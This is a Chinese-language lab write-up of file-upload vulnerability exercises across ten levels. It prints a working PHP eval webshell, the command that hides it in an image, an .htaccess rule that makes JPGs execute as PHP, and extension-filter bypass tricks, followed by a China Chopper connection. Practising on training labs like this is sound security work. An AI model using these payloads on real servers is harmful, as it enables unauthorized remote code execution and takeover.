文件上傳漏洞
靶場地址:http://117.167.136.245:21781/Pass-20/index.php
所需工具:cmd命令制作圖片馬,burpsuite抓包修改繞過,中國菜刀連接服務器后台。
提示:圖片不能太大。
第一關:前端驗證繞過
這種檢測只是在網頁上檢測你傳入的是否是.Jpg格式,我們可以抓包修改
首先我們制做一個圖片馬:1.txt: <?php @eval($_REQUEST[‘a’]);?>
Cmd: copy 1.jpg/b+1.txt 12.jpg
圖片馬:12.jpg
第一關只需要抓包修改圖片后綴名即可:
抓包並修改后綴。
圖片上傳成功。檢測:http://117.167.136.245:21781/upload/12.php?a=phpinfo();
頁面存在了。
然后菜刀連接:
接入成功。
第二關:Content-Type方式繞過
這種繞過方式與前端繞過方式一樣,也是通過抓包修改后綴來繞過。我們將圖片馬名字修改再試一次。
上傳成功。檢測連接與第一關一樣。
第三關:黑名單繞過
代碼會過濾掉:
這些后綴。
但是如果我們寫jspx/jspf都會被當成jsp解析。asa/cer/aspx都會被當成asp解析。Php/php3/php4/phtml都會被當做php解析。利用這個特性抓包修改繞過黑名單過濾並使服務器解析。
菜刀連接也要用這個后綴名。
第四關:.htaccess文件繞過
主旨:通過修改配置文件繞過黑名單機制,先制作並上傳一個.htaccess配置文件上傳生效后,再上傳我們的圖片馬。
制作配置文件:搞一個1.txt:寫這一句:AddType application/x-httpd-php空格.jpg
這個指令代表.jpg文件會被當做php來解析。
然后cmd:ren 1.txt .htaccess
成功生成。
上傳:
檢測:
路徑名還是.Jpg
菜刀連接無誤。
第五關:后綴大小寫繞過
這也是一個黑名單機制,首先看源碼:
.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess
這些是會被過濾的后綴。我們攻擊的頁面是php,然后我們找一些沒有被過濾的PHP后綴格式,如PHp/PhP/PHp543/PhP543在靶場我們可以看到源碼,但是在現實滲透中,我們可能就要自己去一個個嘗試了。
這一關還是抓包修改后綴來繞過。
PHp繞過
PhP繞過。
菜刀連接成功。大小寫不敏感。
第六關:文件后綴(空)繞過
此關除了黑名單機制外,還會刪除文件末尾的點,所以我們文件末尾不能有點,我們以空格代替,就不會被過濾掉了:
上傳實踐:
上傳無誤。
菜刀連接成功。
第七關:文件后綴(點)繞過
和第六關類似,這一關會檢查空格,所以我們使用‘.’來繞過。
上傳成功。
連接成功。
第八關:::$DATA(Windows文件流繞過)
此繞過方式:也是黑名單機制。三個條件(必須是windows系統,必須是php,必須是上傳的源文件(這個不重要,就是抓包時在你上傳的文件名后修改))
::$DATA 會把和它一起的數據當成文件流處理,不會檢測后綴名,且保持::$DATA之前的文件名,此做法的目的就是不檢查后綴名。
靶場的做法:抓包—-在我們上傳的文件后綴后加::$DATA—發包—檢測—-菜刀。
圖片格式碎掉了,但是78.php這個文件是上傳去了。
訪問檢測時去掉::$DATA訪問。
菜刀連接成功。
第九關:構造文件后綴繞過
查看靶場過濾代碼:
代碼表示會:黑名單機制+刪除掉文件名最后一個點(若有的話),判斷最后一位是不是點,字符串首尾去空。根據代碼反向思考構造可以繞過的后綴為.php.空格.
上傳實踐:
上傳成功。
菜刀連接成功。
第十關:雙寫文件后綴繞過
查看代碼:
代碼表示為:在獲得文件名時,若發現其中含有php字樣的便刪除掉,但是只做了一次刪除。若此處為多次刪除的話,便會使我們上傳的文件名無效。所以我們可以構造phphpp這樣的后綴,過濾程序處理完后還是php。這個地方也讓我想起了SQL注入中過濾waf的方法也有雙寫入selselectect這樣的繞過方式。
上傳實踐:
檢測上傳成功。
菜刀連接成功。
做題心得:
在靶場中我們會有提示,但在實踐中可能就需要我們去收集信息判斷或者挨個嘗試了。在菜刀連接時,最好清除一下緩存再連接,這樣才能真正連接,要不有可能是緩存。